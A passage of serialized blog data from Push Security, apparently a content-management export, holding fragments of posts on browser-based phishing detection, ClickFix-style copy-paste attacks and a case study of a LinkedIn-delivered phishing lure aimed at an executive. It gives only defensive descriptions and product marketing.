cloud-centric attacks that attackers are finding so much success with today, this is in effect a net new capability. ",{"data":119690,"content":119694,"nodeType":925},{"target":119691},{"sys":119692},{"id":119693,"type":922,"linkType":923},"4JdaY8I3f6Ub2Kifc9Rsj9",[],{"data":119696,"content":119697,"nodeType":953},{},[],{"data":119699,"content":119700,"nodeType":963},{},[119701],{"data":119702,"marks":119703,"value":93751,"nodeType":865},{},[],{"data":119705,"content":119706,"nodeType":866},{},[119707],{"data":119708,"marks":119709,"value":119710,"nodeType":865},{},[],"The browser represents one of the most significant opportunities in cybersecurity today. As we continue to expand our browser-based security capabilities, we remain committed to this high-fidelity approach. We’re building features that not only detect and prevent attacks but also provide security teams with the rich telemetry they need to develop custom queries and detections.",{"data":119712,"content":119713,"nodeType":866},{},[119714],{"data":119715,"marks":119716,"value":119717,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against techniques like AiTM phishing, credential stuffing, ClickFixing, malicious browser extensions, and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":119719,"content":119720,"nodeType":866},{},[119721,119724,119730,119733,119739],{"data":119722,"marks":119723,"value":32401,"nodeType":865},{},[],{"data":119725,"content":119726,"nodeType":882},{"uri":22700},[119727],{"data":119728,"marks":119729,"value":22706,"nodeType":865},{},[],{"data":119731,"marks":119732,"value":71034,"nodeType":865},{},[],{"data":119734,"content":119735,"nodeType":882},{"uri":1728},[119736],{"data":119737,"marks":119738,"value":22730,"nodeType":865},{},[],{"data":119740,"marks":119741,"value":1048,"nodeType":865},{},[],"Fixing SecOps alert fatigue with browser telemetry","How browser data can improve detection fidelity and reduce alert fatigue, enabling SecOps teams to save time and detect more attacks.","2025-10-07T00:00:00.000Z","fixing-secops-alert-fatigue-with-browser-telemetry",{"items":119747},[119748,119750],{"sys":119749,"name":342},{"id":8410},{"sys":119751,"name":11426},{"id":11425},{"items":119753},[119754],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":119755},{"url":853},"blog/introducing-malicious-copy-paste-detection","Detect ClickFix-style attacks where users copy malicious scripts from their browser.",{"json":119759},{"data":119760,"content":119761,"nodeType":1739},{},[119762],{"data":119763,"content":119764,"nodeType":866},{},[119765],{"data":119766,"marks":119767,"value":119768,"nodeType":865},{},[],"ClickFix, FileFix, fake CAPTCHA — whatever you call it, users interacting with malicious scripts in their web browser is a fast-growing source of security breaches. To tackle this threat, Push now detects malware delivery in the browser, supporting a layered defense against endpoint attacks. ",{"id":90823,"publishedAt":119770},"2026-08-12T11:53:43.034Z",{"items":119772},[119773,119775],{"sys":119774,"name":342},{"id":8410},{"sys":119776,"name":11426},{"id":11425},{"items":119778},[119779,119781,119783,119785,119787,119789,119791,119793,119795,119797,119799,119801,119803,119805],{"sys":119780,"name":279,"slug":280,"tier":31},{"id":276},{"sys":119782,"name":342,"slug":343,"tier":31},{"id":339},{"sys":119784,"name":297,"slug":298,"tier":31},{"id":294},{"sys":119786,"name":519,"slug":520,"tier":31},{"id":516},{"sys":119788,"name":642,"slug":643,"tier":31},{"id":639},{"sys":119790,"name":315,"slug":316,"tier":45},{"id":312},{"sys":119792,"name":448,"slug":449,"tier":45},{"id":445},{"sys":119794,"name":377,"slug":378,"tier":45},{"id":374},{"sys":119796,"name":607,"slug":608,"tier":45},{"id":604},{"sys":119798,"name":475,"slug":476,"tier":45},{"id":472},{"sys":119800,"name":440,"slug":441,"tier":45},{"id":437},{"sys":119802,"name":422,"slug":423,"tier":45},{"id":419},{"sys":119804,"name":537,"slug":538,"tier":45},{"id":534},{"sys":119806,"name":351,"slug":352,"tier":45},{"id":348},"WhJoIJQgr5uOa_CBJjozZ6Xe_GSP57ObHYXigZLLKo0",{"id":119809,"title":114647,"authorsCollection":119810,"content":119815,"extension":228,"faqItemsCollection":120337,"faqTitle":59,"featured":6,"hashTags":59,"meta":120339,"metaTitle":120340,"ogImage":59,"postType":1783,"publishedDate":114649,"relatedBlogPostsCollection":120341,"slug":114650,"stem":121880,"subtitle":59,"summary":121881,"synopsis":114648,"sys":121892,"tagsCollection":121894,"topicsCollection":121900,"__hash__":121932},"blog/blog/why-attackers-are-moving-beyond-email-based-phishing.json",{"items":119811},[119812],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":119813,"profilePicture":119814},[17536],{"url":11434},{"json":119816,"links":120288},{"data":119817,"content":119818,"nodeType":1739},{},[119819,119826,119832,119838,119844,119849,119852,119859,119865,119871,119884,119920,119925,119931,119944,119950,119955,119958,119965,119971,119984,120000,120016,120032,120038,120041,120048,120064,120090,120095,120100,120103,120110,120126,120142,120148,120164,120169,120174,120177,120184,120190,120196,120222,120228,120231,120238,120244,120250,120256,120262],{"data":119820,"content":119821,"nodeType":963},{},[119822],{"data":119823,"marks":119824,"value":114106,"nodeType":865},{},[119825],{"type":961},{"data":119827,"content":119828,"nodeType":866},{},[119829],{"data":119830,"marks":119831,"value":114113,"nodeType":865},{},[],{"data":119833,"content":119834,"nodeType":866},{},[119835],{"data":119836,"marks":119837,"value":114120,"nodeType":865},{},[],{"data":119839,"content":119840,"nodeType":866},{},[119841],{"data":119842,"marks":119843,"value":114127,"nodeType":865},{},[],{"data":119845,"content":119848,"nodeType":925},{"target":119846},{"sys":119847},{"id":114132,"type":922,"linkType":923},[],{"data":119850,"content":119851,"nodeType":953},{},[],{"data":119853,"content":119854,"nodeType":963},{},[119855],{"data":119856,"marks":119857,"value":114144,"nodeType":865},{},[119858],{"type":961},{"data":119860,"content":119861,"nodeType":866},{},[119862],{"data":119863,"marks":119864,"value":114151,"nodeType":865},{},[],{"data":119866,"content":119867,"nodeType":866},{},[119868],{"data":119869,"marks":119870,"value":114158,"nodeType":865},{},[],{"data":119872,"content":119873,"nodeType":866},{},[119874,119877,119881],{"data":119875,"marks":119876,"value":114165,"nodeType":865},{},[],{"data":119878,"marks":119879,"value":114170,"nodeType":865},{},[119880],{"type":944},{"data":119882,"marks":119883,"value":114174,"nodeType":865},{},[],{"data":119885,"content":119886,"nodeType":866},{},[119887,119890,119897,119900,119907,119910,119917],{"data":119888,"marks":119889,"value":114181,"nodeType":865},{},[],{"data":119891,"content":119892,"nodeType":882},{"uri":114184},[119893],{"data":119894,"marks":119895,"value":114190,"nodeType":865},{},[119896],{"type":997},{"data":119898,"marks":119899,"value":2186,"nodeType":865},{},[],{"data":119901,"content":119902,"nodeType":882},{"uri":110765},[119903],{"data":119904,"marks":119905,"value":114201,"nodeType":865},{},[119906],{"type":997},{"data":119908,"marks":119909,"value":3892,"nodeType":865},{},[],{"data":119911,"content":119912,"nodeType":882},{"uri":114207},[119913],{"data":119914,"marks":119915,"value":114213,"nodeType":865},{},[119916],{"type":997},{"data":119918,"marks":119919,"value":114217,"nodeType":865},{},[],{"data":119921,"content":119924,"nodeType":925},{"target":119922},{"sys":119923},{"id":114222,"type":922,"linkType":923},[],{"data":119926,"content":119927,"nodeType":866},{},[119928],{"data":119929,"marks":119930,"value":114230,"nodeType":865},{},[],{"data":119932,"content":119933,"nodeType":866},{},[119934,119937,119941],{"data":119935,"marks":119936,"value":114237,"nodeType":865},{},[],{"data":119938,"marks":119939,"value":114242,"nodeType":865},{},[119940],{"type":944},{"data":119942,"marks":119943,"value":114246,"nodeType":865},{},[],{"data":119945,"content":119946,"nodeType":866},{},[119947],{"data":119948,"marks":119949,"value":114253,"nodeType":865},{},[],{"data":119951,"content":119954,"nodeType":925},{"target":119952},{"sys":119953},{"id":114258,"type":922,"linkType":923},[],{"data":119956,"content":119957,"nodeType":953},{},[],{"data":119959,"content":119960,"nodeType":963},{},[119961],{"data":119962,"marks":119963,"value":114270,"nodeType":865},{},[119964],{"type":961},{"data":119966,"content":119967,"nodeType":866},{},[119968],{"data":119969,"marks":119970,"value":114277,"nodeType":865},{},[],{"data":119972,"content":119973,"nodeType":866},{},[119974,119977,119981],{"data":119975,"marks":119976,"value":114284,"nodeType":865},{},[],{"data":119978,"marks":119979,"value":114289,"nodeType":865},{},[119980],{"type":961},{"data":119982,"marks":119983,"value":114293,"nodeType":865},{},[],{"data":119985,"content":119986,"nodeType":866},{},[119987,119990,119997],{"data":119988,"marks":119989,"value":114300,"nodeType":865},{},[],{"data":119991,"content":119992,"nodeType":882},{"uri":114303},[119993],{"data":119994,"marks":119995,"value":3246,"nodeType":865},{},[119996],{"type":997},{"data":119998,"marks":119999,"value":114312,"nodeType":865},{},[],{"data":120001,"content":120002,"nodeType":866},{},[120003,120006,120013],{"data":120004,"marks":120005,"value":114319,"nodeType":865},{},[],{"data":120007,"content":120008,"nodeType":882},{"uri":70317},[120009],{"data":120010,"marks":120011,"value":70323,"nodeType":865},{},[120012],{"type":997},{"data":120014,"marks":120015,"value":114330,"nodeType":865},{},[],{"data":120017,"content":120018,"nodeType":866},{},[120019,120022,120029],{"data":120020,"marks":120021,"value":114337,"nodeType":865},{},[],{"data":120023,"content":120024,"nodeType":882},{"uri":114340},[120025],{"data":120026,"marks":120027,"value":114346,"nodeType":865},{},[120028],{"type":997},{"data":120030,"marks":120031,"value":114350,"nodeType":865},{},[],{"data":120033,"content":120034,"nodeType":866},{},[120035],{"data":120036,"marks":120037,"value":114357,"nodeType":865},{},[],{"data":120039,"content":120040,"nodeType":953},{},[],{"data":120042,"content":120043,"nodeType":963},{},[120044],{"data":120045,"marks":120046,"value":114368,"nodeType":865},{},[120047],{"type":961},{"data":120049,"content":120050,"nodeType":866},{},[120051,120054,120061],{"data":120052,"marks":120053,"value":21,"nodeType":865},{},[],{"data":120055,"content":120056,"nodeType":882},{"uri":5166},[120057],{"data":120058,"marks":120059,"value":114382,"nodeType":865},{},[120060],{"type":997},{"data":120062,"marks":120063,"value":114386,"nodeType":865},{},[],{"data":120065,"content":120066,"nodeType":866},{},[120067,120070,120077,120080,120087],{"data":120068,"marks":120069,"value":114393,"nodeType":865},{},[],{"data":120071,"content":120072,"nodeType":882},{"uri":114396},[120073],{"data":120074,"marks":120075,"value":114402,"nodeType":865},{},[120076],{"type":997},{"data":120078,"marks":120079,"value":114406,"nodeType":865},{},[],{"data":120081,"content":120082,"nodeType":882},{"uri":114409},[120083],{"data":120084,"marks":120085,"value":13639,"nodeType":865},{},[120086],{"type":997},{"data":120088,"marks":120089,"value":114418,"nodeType":865},{},[],{"data":120091,"content":120094,"nodeType":925},{"target":120092},{"sys":120093},{"id":114423,"type":922,"linkType":923},[],{"data":120096,"content":120099,"nodeType":925},{"target":120097},{"sys":120098},{"id":114429,"type":922,"linkType":923},[],{"data":120101,"content":120102,"nodeType":953},{},[],{"data":120104,"content":120105,"nodeType":963},{},[120106],{"data":120107,"marks":120108,"value":114441,"nodeType":865},{},[120109],{"type":961},{"data":120111,"content":120112,"nodeType":866},{},[120113,120116,120123],{"data":120114,"marks":120115,"value":21,"nodeType":865},{},[],{"data":120117,"content":120118,"nodeType":882},{"uri":90242},[120119],{"data":120120,"marks":120121,"value":114455,"nodeType":865},{},[120122],{"type":997},{"data":120124,"marks":120125,"value":114459,"nodeType":865},{},[],{"data":120127,"content":120128,"nodeType":866},{},[120129,120132,120139],{"data":120130,"marks":120131,"value":114466,"nodeType":865},{},[],{"data":120133,"content":120134,"nodeType":882},{"uri":114469},[120135],{"data":120136,"marks":120137,"value":114475,"nodeType":865},{},[120138],{"type":997},{"data":120140,"marks":120141,"value":114479,"nodeType":865},{},[],{"data":120143,"content":120144,"nodeType":866},{},[120145],{"data":120146,"marks":120147,"value":114486,"nodeType":865},{},[],{"data":120149,"content":120150,"nodeType":866},{},[120151,120154,120161],{"data":120152,"marks":120153,"value":114493,"nodeType":865},{},[],{"data":120155,"content":120156,"nodeType":882},{"uri":114496},[120157],{"data":120158,"marks":120159,"value":8764,"nodeType":865},{},[120160],{"type":997},{"data":120162,"marks":120163,"value":114505,"nodeType":865},{},[],{"data":120165,"content":120168,"nodeType":925},{"target":120166},{"sys":120167},{"id":114510,"type":922,"linkType":923},[],{"data":120170,"content":120173,"nodeType":925},{"target":120171},{"sys":120172},{"id":114516,"type":922,"linkType":923},[],{"data":120175,"content":120176,"nodeType":953},{},[],{"data":120178,"content":120179,"nodeType":963},{},[120180],{"data":120181,"marks":120182,"value":114528,"nodeType":865},{},[120183],{"type":961},{"data":120185,"content":120186,"nodeType":866},{},[120187],{"data":120188,"marks":120189,"value":114535,"nodeType":865},{},[],{"data":120191,"content":120192,"nodeType":866},{},[120193],{"data":120194,"marks":120195,"value":114542,"nodeType":865},{},[],{"data":120197,"content":120198,"nodeType":866},{},[120199,120202,120209,120212,120219],{"data":120200,"marks":120201,"value":114549,"nodeType":865},{},[],{"data":120203,"content":120204,"nodeType":882},{"uri":73998},[120205],{"data":120206,"marks":120207,"value":114557,"nodeType":865},{},[120208],{"type":997},{"data":120210,"marks":120211,"value":114561,"nodeType":865},{},[],{"data":120213,"content":120214,"nodeType":882},{"uri":114564},[120215],{"data":120216,"marks":120217,"value":114570,"nodeType":865},{},[120218],{"type":997},{"data":120220,"marks":120221,"value":114574,"nodeType":865},{},[],{"data":120223,"content":120224,"nodeType":866},{},[120225],{"data":120226,"marks":120227,"value":114581,"nodeType":865},{},[],{"data":120229,"content":120230,"nodeType":953},{},[],{"data":120232,"content":120233,"nodeType":963},{},[120234],{"data":120235,"marks":120236,"value":114592,"nodeType":865},{},[120237],{"type":961},{"data":120239,"content":120240,"nodeType":866},{},[120241],{"data":120242,"marks":120243,"value":114599,"nodeType":865},{},[],{"data":120245,"content":120246,"nodeType":866},{},[120247],{"data":120248,"marks":120249,"value":114606,"nodeType":865},{},[],{"data":120251,"content":120252,"nodeType":866},{},[120253],{"data":120254,"marks":120255,"value":114613,"nodeType":865},{},[],{"data":120257,"content":120258,"nodeType":866},{},[120259],{"data":120260,"marks":120261,"value":114620,"nodeType":865},{},[],{"data":120263,"content":120264,"nodeType":866},{},[120265,120268,120275,120278,120285],{"data":120266,"marks":120267,"value":32401,"nodeType":865},{},[],{"data":120269,"content":120270,"nodeType":882},{"uri":22700},[120271],{"data":120272,"marks":120273,"value":22706,"nodeType":865},{},[120274],{"type":997},{"data":120276,"marks":120277,"value":71034,"nodeType":865},{},[],{"data":120279,"content":120280,"nodeType":882},{"uri":1728},[120281],{"data":120282,"marks":120283,"value":22730,"nodeType":865},{},[120284],{"type":997},{"data":120286,"marks":120287,"value":1048,"nodeType":865},{},[],{"entries":120289},{"hyperlink":120290,"inline":120291,"block":120292},[],[],[120293,120299,120306,120311,120318,120323,120331],{"sys":120294,"__typename":1747,"title":120295,"caption":120295,"layoutMode":59,"file":120296},{"id":114132},"Phishing is now delivered over multiple channels, not just email, targeting a wide range of cloud and SaaS apps.",{"url":120297,"width":1759,"height":120298},"https://images.ctfassets.net/y1cdw1ablpvd/1Fq4iSo4ssD0bdINZ4M31q/28d89ce5b8af767b37d2acb54a1c78cf/2.png",1003,{"sys":120300,"__typename":1747,"title":120301,"caption":120301,"layoutMode":59,"file":120302},{"id":114222},"What a web proxy sees when analyzing a network request for a modern phishing page — this is meant to show you that a fake Microsoft login page was rendered.",{"url":120303,"width":120304,"height":120305},"https://images.ctfassets.net/y1cdw1ablpvd/1dqlvz1plkQ78fSfXkQPoC/ddbc9ddec94672f10a33e483b11f0da4/2.png",1776,1780,{"sys":120307,"__typename":5631,"type":5632,"ctaText":120308,"buttonLabel":120309,"buttonColour":5635,"buttonUrl":120310},{"id":114258},"Learn more about how phishing attacks have evolved and why they're so effective at evading detection controls.","Get the Whitepaper","https://pushsecurity.com/resources/phishing-evolution",{"sys":120312,"__typename":1747,"title":120313,"caption":120313,"layoutMode":59,"file":120314},{"id":114423},"Google Sites page styled to look like a private equity fund opportunity.",{"url":120315,"width":120316,"height":120317},"https://images.ctfassets.net/y1cdw1ablpvd/1HGAL4CypIZ0BRlUT3jn74/b9f6144ee6d3c4b93868ff0b3236a3e8/Group_555.png",3444,2066,{"sys":120319,"__typename":1747,"title":120320,"caption":120320,"layoutMode":59,"file":120321},{"id":114429},"The AitM phishing page presented as a standard Google login page.",{"url":120322,"width":1759,"height":21408},"https://images.ctfassets.net/y1cdw1ablpvd/5SgufpH8y8W1GunlFzkVDp/68d702ffb904b2e5732b8fecfdda3b37/image5.png",{"sys":120324,"__typename":1747,"title":120325,"caption":120326,"layoutMode":59,"file":120327},{"id":114510},"Onfido malicious google ad","Malicious Google ad mimicking the Onfido login page link.",{"url":120328,"width":120329,"height":120330},"https://images.ctfassets.net/y1cdw1ablpvd/6Wo4Dnaftaq4kNp7z2Jlkb/9db5606b545d29e5f603ebf86e68756a/image7.png",877,536,{"sys":120332,"__typename":1747,"title":120333,"caption":120333,"layoutMode":59,"file":120334},{"id":114516},"Malicious cloned login page impersonating Onfido.",{"url":120335,"width":1759,"height":120336},"https://images.ctfassets.net/y1cdw1ablpvd/2mAuRHATA7n4sIEZd5pM1N/2e53a5d5a43c3bc72741c2c69445efe0/6.png",1089,{"items":120338},[],{},"How attackers have moved phishing beyond the mailbox",{"items":120342},[120343,120826,121371],{"__typename":1788,"sys":120344,"content":120345,"title":103686,"synopsis":110941,"hashTags":59,"publishedDate":110942,"slug":103687,"tagsCollection":120816,"authorsCollection":120822},{"id":98759},{"json":120346},{"data":120347,"content":120348,"nodeType":1739},{},[120349,120355,120361,120387,120393,120399,120405,120408,120415,120431,120437,120442,120448,120453,120459,120464,120470,120475,120481,120486,120492,120498,120503,120506,120513,120529,120535,120541,120546,120562,120569,120585,120592,120608,120614,120619,120645,120652,120678,120685,120701,120706,120709,120716,120732,120737,120740,120747,120753,120759,120762,120769,120775,120781,120805,120810],{"data":120350,"content":120351,"nodeType":866},{},[120352],{"data":120353,"marks":120354,"value":110407,"nodeType":865},{},[],{"data":120356,"content":120357,"nodeType":866},{},[120358],{"data":120359,"marks":120360,"value":102045,"nodeType":865},{},[],{"data":120362,"content":120363,"nodeType":866},{},[120364,120367,120374,120377,120384],{"data":120365,"marks":120366,"value":110420,"nodeType":865},{},[],{"data":120368,"content":120369,"nodeType":882},{"uri":110423},[120370],{"data":120371,"marks":120372,"value":102061,"nodeType":865},{},[120373],{"type":997},{"data":120375,"marks":120376,"value":3892,"nodeType":865},{},[],{"data":120378,"content":120379,"nodeType":882},{"uri":13634},[120380],{"data":120381,"marks":120382,"value":29898,"nodeType":865},{},[120383],{"type":997},{"data":120385,"marks":120386,"value":110442,"nodeType":865},{},[],{"data":120388,"content":120389,"nodeType":866},{},[120390],{"data":120391,"marks":120392,"value":110449,"nodeType":865},{},[],{"data":120394,"content":120395,"nodeType":866},{},[120396],{"data":120397,"marks":120398,"value":110456,"nodeType":865},{},[],{"data":120400,"content":120401,"nodeType":866},{},[120402],{"data":120403,"marks":120404,"value":110463,"nodeType":865},{},[],{"data":120406,"content":120407,"nodeType":953},{},[],{"data":120409,"content":120410,"nodeType":963},{},[120411],{"data":120412,"marks":120413,"value":110474,"nodeType":865},{},[120414],{"type":961},{"data":120416,"content":120417,"nodeType":866},{},[120418,120421,120428],{"data":120419,"marks":120420,"value":110481,"nodeType":865},{},[],{"data":120422,"content":120423,"nodeType":882},{"uri":110484},[120424],{"data":120425,"marks":120426,"value":110490,"nodeType":865},{},[120427],{"type":997},{"data":120429,"marks":120430,"value":110494,"nodeType":865},{},[],{"data":120432,"content":120433,"nodeType":866},{},[120434],{"data":120435,"marks":120436,"value":110501,"nodeType":865},{},[],{"data":120438,"content":120441,"nodeType":925},{"target":120439},{"sys":120440},{"id":110506,"type":922,"linkType":923},[],{"data":120443,"content":120444,"nodeType":866},{},[120445],{"data":120446,"marks":120447,"value":110514,"nodeType":865},{},[],{"data":120449,"content":120452,"nodeType":925},{"target":120450},{"sys":120451},{"id":110519,"type":922,"linkType":923},[],{"data":120454,"content":120455,"nodeType":866},{},[120456],{"data":120457,"marks":120458,"value":110527,"nodeType":865},{},[],{"data":120460,"content":120463,"nodeType":925},{"target":120461},{"sys":120462},{"id":110532,"type":922,"linkType":923},[],{"data":120465,"content":120466,"nodeType":866},{},[120467],{"data":120468,"marks":120469,"value":110540,"nodeType":865},{},[],{"data":120471,"content":120474,"nodeType":925},{"target":120472},{"sys":120473},{"id":110545,"type":922,"linkType":923},[],{"data":120476,"content":120477,"nodeType":866},{},[120478],{"data":120479,"marks":120480,"value":110553,"nodeType":865},{},[],{"data":120482,"content":120485,"nodeType":925},{"target":120483},{"sys":120484},{"id":110558,"type":922,"linkType":923},[],{"data":120487,"content":120488,"nodeType":866},{},[120489],{"data":120490,"marks":120491,"value":110566,"nodeType":865},{},[],{"data":120493,"content":120494,"nodeType":866},{},[120495],{"data":120496,"marks":120497,"value":110573,"nodeType":865},{},[],{"data":120499,"content":120502,"nodeType":925},{"target":120500},{"sys":120501},{"id":110578,"type":922,"linkType":923},[],{"data":120504,"content":120505,"nodeType":953},{},[],{"data":120507,"content":120508,"nodeType":963},{},[120509],{"data":120510,"marks":120511,"value":110590,"nodeType":865},{},[120512],{"type":961},{"data":120514,"content":120515,"nodeType":866},{},[120516,120519,120526],{"data":120517,"marks":120518,"value":110597,"nodeType":865},{},[],{"data":120520,"content":120521,"nodeType":882},{"uri":110600},[120522],{"data":120523,"marks":120524,"value":110606,"nodeType":865},{},[120525],{"type":997},{"data":120527,"marks":120528,"value":110610,"nodeType":865},{},[],{"data":120530,"content":120531,"nodeType":866},{},[120532],{"data":120533,"marks":120534,"value":110617,"nodeType":865},{},[],{"data":120536,"content":120537,"nodeType":866},{},[120538],{"data":120539,"marks":120540,"value":110624,"nodeType":865},{},[],{"data":120542,"content":120545,"nodeType":925},{"target":120543},{"sys":120544},{"id":110629,"type":922,"linkType":923},[],{"data":120547,"content":120548,"nodeType":866},{},[120549,120552,120559],{"data":120550,"marks":120551,"value":110637,"nodeType":865},{},[],{"data":120553,"content":120554,"nodeType":882},{"uri":13634},[120555],{"data":120556,"marks":120557,"value":29898,"nodeType":865},{},[120558],{"type":997},{"data":120560,"marks":120561,"value":110648,"nodeType":865},{},[],{"data":120563,"content":120564,"nodeType":1458},{},[120565],{"data":120566,"marks":120567,"value":110656,"nodeType":865},{},[120568],{"type":961},{"data":120570,"content":120571,"nodeType":866},{},[120572,120575,120582],{"data":120573,"marks":120574,"value":110663,"nodeType":865},{},[],{"data":120576,"content":120577,"nodeType":882},{"uri":110666},[120578],{"data":120579,"marks":120580,"value":110672,"nodeType":865},{},[120581],{"type":997},{"data":120583,"marks":120584,"value":110676,"nodeType":865},{},[],{"data":120586,"content":120587,"nodeType":1458},{},[120588],{"data":120589,"marks":120590,"value":110684,"nodeType":865},{},[120591],{"type":961},{"data":120593,"content":120594,"nodeType":866},{},[120595,120598,120605],{"data":120596,"marks":120597,"value":21,"nodeType":865},{},[],{"data":120599,"content":120600,"nodeType":882},{"uri":70317},[120601],{"data":120602,"marks":120603,"value":110698,"nodeType":865},{},[120604],{"type":997},{"data":120606,"marks":120607,"value":110702,"nodeType":865},{},[],{"data":120609,"content":120610,"nodeType":866},{},[120611],{"data":120612,"marks":120613,"value":110709,"nodeType":865},{},[],{"data":120615,"content":120618,"nodeType":925},{"target":120616},{"sys":120617},{"id":110714,"type":922,"linkType":923},[],{"data":120620,"content":120621,"nodeType":866},{},[120622,120625,120632,120635,120642],{"data":120623,"marks":120624,"value":110722,"nodeType":865},{},[],{"data":120626,"content":120627,"nodeType":882},{"uri":107839},[120628],{"data":120629,"marks":120630,"value":110730,"nodeType":865},{},[120631],{"type":997},{"data":120633,"marks":120634,"value":110734,"nodeType":865},{},[],{"data":120636,"content":120637,"nodeType":882},{"uri":110737},[120638],{"data":120639,"marks":120640,"value":110743,"nodeType":865},{},[120641],{"type":997},{"data":120643,"marks":120644,"value":110747,"nodeType":865},{},[],{"data":120646,"content":120647,"nodeType":1458},{},[120648],{"data":120649,"marks":120650,"value":110755,"nodeType":865},{},[120651],{"type":961},{"data":120653,"content":120654,"nodeType":866},{},[120655,120658,120665,120668,120675],{"data":120656,"marks":120657,"value":110762,"nodeType":865},{},[],{"data":120659,"content":120660,"nodeType":882},{"uri":110765},[120661],{"data":120662,"marks":120663,"value":110771,"nodeType":865},{},[120664],{"type":997},{"data":120666,"marks":120667,"value":110775,"nodeType":865},{},[],{"data":120669,"content":120670,"nodeType":882},{"uri":110778},[120671],{"data":120672,"marks":120673,"value":110784,"nodeType":865},{},[120674],{"type":997},{"data":120676,"marks":120677,"value":110788,"nodeType":865},{},[],{"data":120679,"content":120680,"nodeType":1458},{},[120681],{"data":120682,"marks":120683,"value":110796,"nodeType":865},{},[120684],{"type":961},{"data":120686,"content":120687,"nodeType":866},{},[120688,120691,120698],{"data":120689,"marks":120690,"value":110803,"nodeType":865},{},[],{"data":120692,"content":120693,"nodeType":882},{"uri":110806},[120694],{"data":120695,"marks":120696,"value":110812,"nodeType":865},{},[120697],{"type":997},{"data":120699,"marks":120700,"value":110816,"nodeType":865},{},[],{"data":120702,"content":120705,"nodeType":925},{"target":120703},{"sys":120704},{"id":71049,"type":922,"linkType":923},[],{"data":120707,"content":120708,"nodeType":953},{},[],{"data":120710,"content":120711,"nodeType":963},{},[120712],{"data":120713,"marks":120714,"value":110832,"nodeType":865},{},[120715],{"type":961},{"data":120717,"content":120718,"nodeType":866},{},[120719,120722,120729],{"data":120720,"marks":120721,"value":110839,"nodeType":865},{},[],{"data":120723,"content":120724,"nodeType":882},{"uri":110842},[120725],{"data":120726,"marks":120727,"value":110848,"nodeType":865},{},[120728],{"type":997},{"data":120730,"marks":120731,"value":110852,"nodeType":865},{},[],{"data":120733,"content":120736,"nodeType":925},{"target":120734},{"sys":120735},{"id":110857,"type":922,"linkType":923},[],{"data":120738,"content":120739,"nodeType":953},{},[],{"data":120741,"content":120742,"nodeType":963},{},[120743],{"data":120744,"marks":120745,"value":100217,"nodeType":865},{},[120746],{"type":961},{"data":120748,"content":120749,"nodeType":866},{},[120750],{"data":120751,"marks":120752,"value":110875,"nodeType":865},{},[],{"data":120754,"content":120755,"nodeType":866},{},[120756],{"data":120757,"marks":120758,"value":110882,"nodeType":865},{},[],{"data":120760,"content":120761,"nodeType":953},{},[],{"data":120763,"content":120764,"nodeType":963},{},[120765],{"data":120766,"marks":120767,"value":3604,"nodeType":865},{},[120768],{"type":961},{"data":120770,"content":120771,"nodeType":866},{},[120772],{"data":120773,"marks":120774,"value":108019,"nodeType":865},{},[],{"data":120776,"content":120777,"nodeType":866},{},[120778],{"data":120779,"marks":120780,"value":110905,"nodeType":865},{},[],{"data":120782,"content":120783,"nodeType":866},{},[120784,120787,120793,120796,120802],{"data":120785,"marks":120786,"value":32401,"nodeType":865},{},[],{"data":120788,"content":120789,"nodeType":882},{"uri":22700},[120790],{"data":120791,"marks":120792,"value":22706,"nodeType":865},{},[],{"data":120794,"marks":120795,"value":71034,"nodeType":865},{},[],{"data":120797,"content":120798,"nodeType":882},{"uri":1728},[120799],{"data":120800,"marks":120801,"value":22730,"nodeType":865},{},[],{"data":120803,"marks":120804,"value":1048,"nodeType":865},{},[],{"data":120806,"content":120809,"nodeType":925},{"target":120807},{"sys":120808},{"id":71049,"type":922,"linkType":923},[],{"data":120811,"content":120812,"nodeType":866},{},[120813],{"data":120814,"marks":120815,"value":21,"nodeType":865},{},[],{"items":120817},[120818,120820],{"sys":120819,"name":11426},{"id":11425},{"sys":120821,"name":342},{"id":8410},{"items":120823},[120824],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":120825},{"url":11434},{"__typename":1788,"sys":120827,"content":120828,"title":103682,"synopsis":121360,"hashTags":59,"publishedDate":117146,"slug":103683,"tagsCollection":121361,"authorsCollection":121367},{"id":98731},{"json":120829},{"data":120830,"content":120831,"nodeType":1739},{},[120832,120838,120845,120852,120859,120862,120869,120876,120896,120901,120908,120914,120921,120928,120934,120950,120955,120962,120968,120971,120979,120986,120994,121014,121021,121028,121036,121055,121063,121082,121090,121109,121114,121117,121125,121132,121175,121182,121189,121192,121199,121206,121249,121252,121259,121266,121310,121337,121344],{"data":120833,"content":120837,"nodeType":925},{"target":120834},{"sys":120835},{"id":120836,"type":922,"linkType":923},"2pi21QGUvtdsDTbZYIF5Pr",[],{"data":120839,"content":120840,"nodeType":866},{},[120841],{"data":120842,"marks":120843,"value":120844,"nodeType":865},{},[],"Push recently detected and blocked a high-risk phishing attack targeting a company executive's Google Workspace account. ",{"data":120846,"content":120847,"nodeType":866},{},[120848],{"data":120849,"marks":120850,"value":120851,"nodeType":865},{},[],"This attack demonstrated a range of advanced detection evasion techniques designed to circumvent traditional detection controls. ",{"data":120853,"content":120854,"nodeType":866},{},[120855],{"data":120856,"marks":120857,"value":120858,"nodeType":865},{},[],"Given this was a highly targeted attack against a company executive, the impact of a successful phish would have been extremely high. Push’s browser-based detection and response solution intercepted and blocked the phish in real-time, preventing the Microsoft session or credentials being captured by the attacker.",{"data":120860,"content":120861,"nodeType":953},{},[],{"data":120863,"content":120864,"nodeType":963},{},[120865],{"data":120866,"marks":120867,"value":98659,"nodeType":865},{},[120868],{"type":961},{"data":120870,"content":120871,"nodeType":866},{},[120872],{"data":120873,"marks":120874,"value":120875,"nodeType":865},{},[],"A Push customer’s exec was targeted on LinkedIn via a direct message from another exec about an investment opportunity. The sender’s account had been compromised and used to approach high-value targets. ",{"data":120877,"content":120878,"nodeType":866},{},[120879,120883,120892],{"data":120880,"marks":120881,"value":120882,"nodeType":865},{},[],"The victim was sent a link to a basic page hosted on ",{"data":120884,"content":120886,"nodeType":882},{"uri":120885},"http://sites.google.com",[120887],{"data":120888,"marks":120889,"value":120891,"nodeType":865},{},[120890],{"type":997},"sites.google.com",{"data":120893,"marks":120894,"value":120895,"nodeType":865},{},[],", styled as a landing page for a private equity fund investment opportunity. The page had buttons 